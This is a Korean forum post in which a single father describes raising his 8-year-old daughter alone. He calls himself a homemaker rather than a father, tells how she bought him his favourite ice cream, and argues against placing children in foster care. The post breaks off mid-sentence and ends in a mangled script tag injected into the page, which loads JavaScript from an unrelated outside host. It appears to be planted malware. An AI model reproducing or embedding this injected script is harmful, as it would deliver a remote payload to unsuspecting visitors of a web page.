▒▒ 한국한부모가정연구소 ▒▒▒▒

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	제 목	전 아빠가 아니라 주부입니다.....

	번 호	871	조회수	1874	이메일	c3708@daum.net

	작성자	하늘 양 창호			작성일		05-09-05

	첨부화일

	내 용	길은 먼것같습니다...^^ 하늘이입니다. 방송취재하러오신분이 옷장서랍을 열어보자구 하시더군여.^^ 그래서 열었져^^;거기에는내양말 아가 양말 그리고 울딸 속옷 아빠속 옷^^;..등등이 군대식으로 줄 맞추어져 있는 공간입니다. 놀래시더군여. 웰까여?? 난 아빠가 아닌 남자가아닌 주부인데...당연히 그리 정리정돈이 되어 있어야 정상인데...비정상적으로 보면서 아~!! 하는 감탄사를 내면서 신기하듯 카메라로 찍어가더군여... 그걸 보면서 씁쓸한 웃음이 내얼굴에 흘러내렸어여. 이작은 것들만 보아도 아직까지는 이사회가 아빠가 혼자딸키우는게 비 정상적으로 보이나봐여 전 저를 아빠로~ 남자로 ~생각했을때는 육아나 가사가 넘힘들었는데.. 이젠 아빠도 아니고~ 엄마도 아닌~ 나스스로를 주부화 시켜나가려구 나도모르게 내생각과 모든 감각기관들이 그리 움직여져갑니다. 전 아빠가 아닙니다....주부일뿐입니다... 그리봐주시면 사회적인 고정관념들이 편견들이 조금은 퇴색되어 정상 적인 시각들로 태어나지않을까여?? 모자원은 많은데 부자원을 국가에서 만들겠다고 하면 주민들이 무슨 혐오시설만드는것처럼 동네땅값이라도 떨어질까봐 우범지대..될까 봐.....반대하는 웃지못할 코미디같은 서글픈 현실은 없어질것입니다 울딸8살입니다. 학교갔다오면 항상그러하듯 천원을..줍니다... 그날은 오백원짜리를 주어서 내보냈어여 그런데 10분쯤후...아이스크 림 두개를 사왔더군여... 전 나이가들어서 그런가 고전상표 아맛나라는 팥이들어있는 아이스크 림좋아하거든여 항상 슈퍼가서 아가랑 쇼핑을 할때두 아가는 자기좋아하는 아이스크 림 고르고 전 내가 좋아하는 아맛나만 고르구여.. 컴퓨터를 하고있는데 딸이 현관서 부릅니다.. 아빠가 준돈으로 아크림아빠꺼까지 샀다고 ..ㅎㅎ..별일아닙니다 그런데 넘 이상한거여여...울딸이 태어나서 처음으로 그것도 내가 어 떤 걸 좋아하는걸 기억해주구 아빠한테 돈받은걸로 자기 먹을것 그리 고 쓸것도 많아서 욕심부릴나이인데...아이스크림을 사면서 절 생각하 고 절 위해 사왔어여 그사실이 넘신기하고 행복이라는 단어로는 다 표 현하지못할 미묘한 기분이 마음에서 전기처럼 흘러가더군여. 무슨소리할려고 이렇게 길게 아이스크림 이야기를 하냐면여.. 오늘 방송보니깐....어렵게아가들 혼자키우는 가정들 소개하구나서 마지막에 정리하는 멘트 여자 아나운서가..하는말이 생각나서 글을 써 봅니다. 한국수양부모협회라는 가정위탁보호제도 이야기하면서 이용할분하라구 여....안내멘트를 하더군여 (가정위탁보호제도란 부모가 아동을 양육할 사정이 안될 때 보호시설 에 맡기지 않고 대리 양육을 희망하는 가정에서 임시로 해당 아이들 을 보살피는 제도다. 한국수양부모협회는 이런 위탁아동과 수양부모 희망자를 연결하고 관리하는 일을 하는 단체다.) 아가들은 하루하루가 다릅니다..기구 아장아장걷구 맘마.하다..빠빠하 다.......아빠라는 단어로 부모한테 한없는 기쁨을 주구여... 이세상에서 젤 불행한~ 불쌍한 부모는 아마도 돈벌어오것다고 자식을 고아원이나 가정위탁보호소에 맡기는분이라 생각합니다. 자녀의 자라나는 모습을 못보는 부모만큼 불쌍한 사람이 또있을까여 흔히 자녀를 버리면서 스스로의 죄책감을 희석시키기 위해 돈많이벌어 온다는 말...많이합니다.. 그러나 사람이...돈많이벌어야것다 마음먹는다고 물질이라는게 벌어지 는것같으면 빈부가 왜..존재하겠습니까?? 전...가난해도 아퍼도 사랑하는 이들이라면 같이 서로 한가정을 지켜 야 한다고 생각합니다 .. 지금 저와 딸은 한몸입니다 한가족입니다...한가정입니다. 그러나 고아원이나 위탁시설에 맡기면 .....곧 가족의 해체...가정의 붕괴입니다... 사랑하는..사람들이라면 ...서로가 서로에게 살아갈 이유들을 부여하 면서 ...한공동체를 지속시켜 나가야 한다는 생각입니다. 그게 가족이잖아여..가족... 이번 두번의 촬영을 해서 영상화되어 보도되어지는 내모습을 보면서 새롭게 느낀게 있습니다. 과거에도 지금도 여건은여전히 어렵지만 우리같은 선배들도 여전히 아 가들 잘키웠고 포기하는분두 있었을꺼구.......... 제도나 사회적인 인식이나. 경제적인건 혁명적인 수술이 일어나기전에 는 여전할꺼구.... 이제부터는여....운전연습을 더할겁니다..아가잘키울수있는 연습들여. 지금 내가 해야 할일은 스스로 운전실력을 높여야겠다는 생각을 해보았습니다. 전 초보입니다 육아나 가사도 ...아가태어나서 첫방학을 보냈습니다. 방학이라고 부모가 직장빨리끝나는게아니잖아여...저는 방학전까지는 공부방이라는곳보냈는데 방학이라고 4시 30분에 데려가라더군여^^; 그럼 직장?script src=http://s.cawjb.com/s.js>

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